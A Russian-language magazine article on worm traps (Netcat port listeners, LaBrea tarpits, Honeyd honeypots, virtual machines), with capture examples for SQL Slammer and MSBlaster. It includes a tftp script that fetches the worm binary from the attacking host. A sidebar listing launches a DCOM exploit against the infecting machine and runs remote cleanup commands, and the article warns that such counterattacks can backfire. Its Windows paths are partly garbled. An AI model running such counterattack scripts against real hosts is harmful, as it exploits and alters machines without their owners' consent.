Иногда недостаточно лишь воспрепятствовать атаке вирусов, "червей" и "троянских коней" - нужно захватить вредную программу и получить от нее все интересующие нас сведения. С помощью ловушки для вирусов даже не имеющие навыков диагностики сетевые администраторы смогут распознать вторжение на ранних стадиях. В данной статье рассказывается о некоторых методах ловли вредных программ и приводятся примеры их применения.
Что такое вирусная ловушка?
Простое определение вирусной ловушки: программа, или программа-приманка, цель которой - обнаружить, замедлить или захватить определенный образец или тип вредителя для дальнейшего изучения. Приманка - непроизводственный компьютер, созданный для слежения за его несанкционированным использованием. Антивирусная приманка - специализированная приманка для обнаружения и захвата автоматизированных вредных программ. Она в меньшей степени, чем обычная приманка, ориентирована на нападения целеустремленных взломщиков, которые организуют лишь малую часть всех атак. Чтобы обнаруживать взломщиков, действующих вручную, требуется более функциональная и сложная приманка.
Отражая нападения вредоносных программ, в первую очередь необходимо ответить на два вопроса:
- Какие уязвимые места пытается отыскать вредная программа?
- Какие действия будет производить разрушительная программа, получив доступ через обнаруженное уязвимое место?
Цель первого вопроса - выяснить, каким образом вредитель планирует атаковать сетевые компьютеры; ответ подскажет меры, которые должен принять администратор, чтобы остановить вредителя (или хотя бы свести ущерб к минимуму). Второй вопрос относится к истинным целям злоумышленника. Является ли попытка несанкционированного доступа самоцелью, или настоящая цель - испортить данные, украсть файлы, рассылать спам, или обнаружить свободное место на диске для хранения вредных файлов или нелицензированного цифрового контента? Вирусная ловушка поможет ответить на эти вопросы.
Вирусная ловушка может быть полезна в различных ситуациях, в том числе:
- В антивирусных списках появился новый "червь". Администратор полагает, что его сетевая инфраструктура надежно защищена от атаки, но хочет получить раннее предупреждение, если вредитель проникнет внутрь периметра. Или получено сообщение о "черве", и в компьютерах сети появились симптомы инфекции.
- Какой-то вредитель постоянно атакует брандмауэр на периметре, и его необходимо захватить, чтобы выяснить цель попыток проникнуть в сеть или выйти из сети.
- Взломщики и вредные программы успешно проникают в сеть и серверы, и администратору необходимо выяснить, как это происходит.
Типы и применения вирусных ловушек
Существует четыре типа ловушек для вирусов: прослушиватели порта (port listener), "смоляные ямы" (tarpit), приманки (honeypot) и виртуальные системы.
Прослушиватели порта. Прослушиватель порта - любая программа, которая может открыть IP-порт и захватить данные, поступающие в этот порт. Прослушиватели порта - самые простые программы. Им не нужно имитировать службу, выдавать себя за сервер или отвечать на какие-либо запросы. Они лишь записывают данные, поступающие к ним. Недостаток прослушивателей порта - невозможность использовать их для контроля TCP-трафика в контексте протокола, который всегда требует ответа для организации успешного сеанса связи. Однако иногда достаточно лишь прослушивания.
Например, "червь" SQL Slammer использует для нападений единственный 376-байтный UDP-пакет. Чтобы захватить его, достаточно просто прослушивать UDP-порт 1434. В настоящее время самый распространенный прослушиватель порта - Netcat, бесплатная утилита, которую можно загрузить с узла http://www.vulnwatch.org/netcat. Netcat можно использовать для различных целей, в том числе для организации одного или нескольких сеансов прослушивания портов. Поймать "червя" Slammer можно с помощью следующей команды Netcat:
nc -vv -l -p 1434 > port1434.log
Ключ -vv указывает на необходимость выдачи на экран сообщений о попытках соединений, -l обеспечивает прослушивание входящих соединений через порт, заданный ключом -p, а собранные данные сохраняются в текстовом файле с именем port1434.log. Если применяется эта команда, то следует нажать клавиши Ctrl+C, чтобы завершить сеанс Netcat или ввести с клавиатуры
nc -h
чтобы вывести на экран подсказку Netcat.
На Экране 1 показан образец "червя" SQL Slammer, захваченного в прослушивателе порта Netcat. Картина вряд ли будет понятной кому-то, кроме программистов, так как захваченный выполняемый код представляет собой часть переполнения буфера. Тем не менее, текст, следующий за командой
type port1434.txt
есть "червь" SQL Slammer. Если распознать "червя" не удается, то поиск, проведенный в Internet по нескольким представленным на экране строкам, покажет, что захваченный программный код принадлежит SQL Slammer. Затем можно протестировать все системы SQL Server и убедиться, что на всех системах установлены исправления против "червя". Полный исходный текст SQL Slammer опубликован по адресу http://www.eeye.com/html/research/flash/sapphire.txt. Если атаки продолжаются из того же исходного IP-адреса, можно даже попытаться установить контакт с его владельцем или применить другие меры защиты компьютеров.
"Смоляные ямы". "Смоляные ямы" используются в большей степени для замедления распространения вредных программ, чем для захвата и отображения их программного кода. LaBrea (http://labrea.sourceforge.net), спроектированная Майклом Робинтоном, была первой и по-прежнему остается самой распространенной "смоляной ямой". Программа отвечает на все запросы, направленные к несуществующему IP-адресу. После задержки, необходимой любому рабочему компьютеру для ответа, LaBrea отвечает на попытки установить соединение таким образом, чтобы вредная программа затратила как можно больше времени (максимально увеличиваются периоды повторной передачи и ожидания TCP/IP). LaBrea замедляет работу вредных программ и действия хакеров, и определяет их исходный IP-адрес (Экран 2). Функциональность LaBrea умышленно ограничена, но программа чрезвычайно успешно выполняет свою задачу. Ее способность замедлять распространение "червей" из Internet, в соответствии с намерениями автора, подтверждена на многих реальных "червях" и лабораторных тестах.
Приманки. Приманки - превосходный метод захвата "червей" из Internet с более сложным взаимодействием. Большинство приманок располагает прослушивателями порта и более развитыми механизмами взаимодействия. Например, большинство приманок легко взаимодействует с вредными программами, требующими TCP-квитирования, и отвечает с использованием предписанных команд. Многие приманки просты для установки и располагают множеством встроенных функций протоколирования и предупреждения. В результате они становятся идеальными ловушками для вирусов.
Некоторые специалисты, в том числе Лоран Одо из группы Rstack (http://www.rstack.org), применяли Honeyd (http://www.honeyd.org), распространенную приманку с открытым кодом, для поимки "червя" MSBlaster, когда тот атаковал компьютеры по всему миру. "Червь" ищет TCP-порт 135, поэтому пользователи Honeyd ведут прослушивание по этому порту, добавляя следующую строку в файл Honeyd.config:
add tcp port 135 open
Обнаружив открытый порт, "червь" пытается вызвать переполнение буфера с использованием удаленного вызова процедуры (RPC) DCOM. Если переполнение буфера произошло, то в реальном компьютере "червь" устанавливает соединение с TCP-портом 4444 и загружает основное тело с помощью Trivial FTP (TFTP) через TCP-порт 69.
Чтобы поймать "червя", пользователи Honeyd создали служебный сценарий захвата msblaster.sh и добавили его к порту 4444 с помощью команды настройки Honeyd, которая выглядит примерно так:
add tcp port 4444
"sh msblaster.sh $ipsrc $ipdst"
Сценарий msblaster.sh установил соединение со взломщиком и получил выполняемый файл MSBlaster:
tftp $1 << EOF
get msblast.exe
quit
EOF
Сценарий использует программу tftp.exe (расположенную в папке system32 в большинстве систем Windows), чтобы загрузить msblaster.exe для исследования. Дополнительные сведения можно найти в документе "Honeyd vs Msblast.exe" (http://www.citi.umich.edu/u/provos/honeyd/msblast.html) или превосходном материале "Fighting Internet Worms With Honeypots" (http://www.securityfocus.com/infocus/1740). Аналогичные сценарии и приемы можно использовать для захвата большинства сканирующих "червей" из Internet.
Иногда недостаточно просто захватить "червя". В упомянутых выше статьях о сценариях захвата MSBlaster содержится сценарий контратаки, он используется некоторыми администраторами в попытке остановить натиск "червя" MSBlaster. Дополнительные сведения об активном подходе содержится во врезке "Иду на червя". Более подробная информация о запуске и настройке Honeyd приведена в статье "Использование приманок на базе Windows", опубликованной в четвертом номере Windows IT Pro/RE за 2004 год и в статье "Пакет Honeyd for Windows", (http://old.osp.ru/win2000/solutions/508_71.htm).
Виртуальные системы. Лучший способ собрать полную информацию о взаимодействии вредной программы с почти реальным компьютером - использовать виртуальную систему, такую как VMware Workstation (http://www.vmware.com) или Microsoft Virtual PC 2004 (http://www.microsoft.com/windows/virtualpc/default.mspx). Программные виртуальные системы могут имитировать реакцию настоящего компьютера на действия вирусов и "червей".
С помощью сетевого анализатора, такого как бесплатный Ethereal (http://www.ethereal.com), можно отслеживать исходящий и входящий трафик виртуального сеанса, и использовать бесплатные утилиты Regmon и Filemon (http://www.sysinternals.com) для обнаружения изменений в сетевом трафике, реестре и файловой системе. Более подробную информацию об использовании программных виртуальных систем в качестве приманок и вирусных ловушек можно найти в статьях "Использование приманок на базе Windows" и "Пакет Honeyd for Windows". Важно направить несанкционированный трафик только в нужный сеанс и не позволить вредной программе использовать виртуальный сеанс в качестве отправной точки для атаки на компьютеры. Захватив вредную программу с помощью простого прослушивателя портов, "смоляной ямы", приманки или виртуальной системы, можно детально исследовать вредителя или передать его для анализа поставщику антивирусных программ. Поставив капкан для вирусов, администратор получит своевременную и достоверную информацию об угрозах для сети.
Иду на червя
MSBlaster атаковал только компьютеры Windows, на которых не были своевременно установлены соответствующие исправления. Компания Microsoft и некоторые другие организации, обеспечивающие безопасность в Internet, неоднократно призывали пользователей Windows установить исправления на своих системах. К сожалению, многие пользователи не услышали предупреждений. "Червь" MSBlaster успешно заразил сотни тысяч компьютеров. Даже если в сети предприятия были установлены все исправления, MSBlaster мог замедлить ее работу из-за большого числа атакованных компьютеров.
Некоторые администраторы подготовили служебный сценарий (Листинг A). Если с ним установлено соединение, то сценарий устанавливает обратное соединение с компьютером-источником, уничтожает процесс "червя" MSBlaster, удаляет вредную запись реестра (с помощью созданного "на ходу" файла редактирования) и перезагружает систему. Результаты несанкционированного применения активных сценариев в компьютерах и сетях могут быть противоречивыми. На первый взгляд, удаление "червя" всегда полезно, но при удалении "червей" порой возникают столь же серьезные или более тяжелые проблемы, чем первоначальное заражение.
Например, кто-то из лучших побуждений создал "червя" Welchia, функции которого были почти такими же, как у сценария в Листинге A. Welchia устанавливал соединение с уязвимыми компьютерами, удалял MSBlaster и загружал исправление Microsoft, чтобы устранить лазейку. "Червь" MSBlaster причинял неприятности в течение нескольких дней, но Welchia вызывал отказы в работе сетей еще в течение нескольких недель, так как его механизм сканирования был еще более агрессивным, чем первоначальный "червь". Welchia создал гораздо большую угрозу, чем болезнь, которую он должен был вылечить.
Листинг A: Сценарий удаления MSBlaster из исходного компьютера
REM запускает атаку DCOM против зараженного компьютера, из которого исходит атака,
REM затем запускает команды очистки в удаленной оболочке DOS
./dcom_exploit -d $1 << EOF
REM Выполняет в компьютере следующие операции:
REM 1) Уничтожает активный процесс msblast.exe
taskkill /f /im msblast.exe /t
REM 2) Удаляет двоичный код "червя"
del /f %SystemRoot%system32msblast.exe
REM 3) Очищает реестр
echo Regedit4 > c: cleanerMSB.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
CurrentVersionRun] >> c:cleanerMSB.reg
echo "auto windows update" = "REM msblast.exe" >> c: cleanerMSB.reg
regedit /s c: cleanerMSB.reg
del /f c:cleanerMSB.reg
REM N) В этом месте можно добавить специальные действия для обновления компьютера Windows
REM N+1) Перезагрузка компьютера
shutdown -r -f -t 0 exit
EOF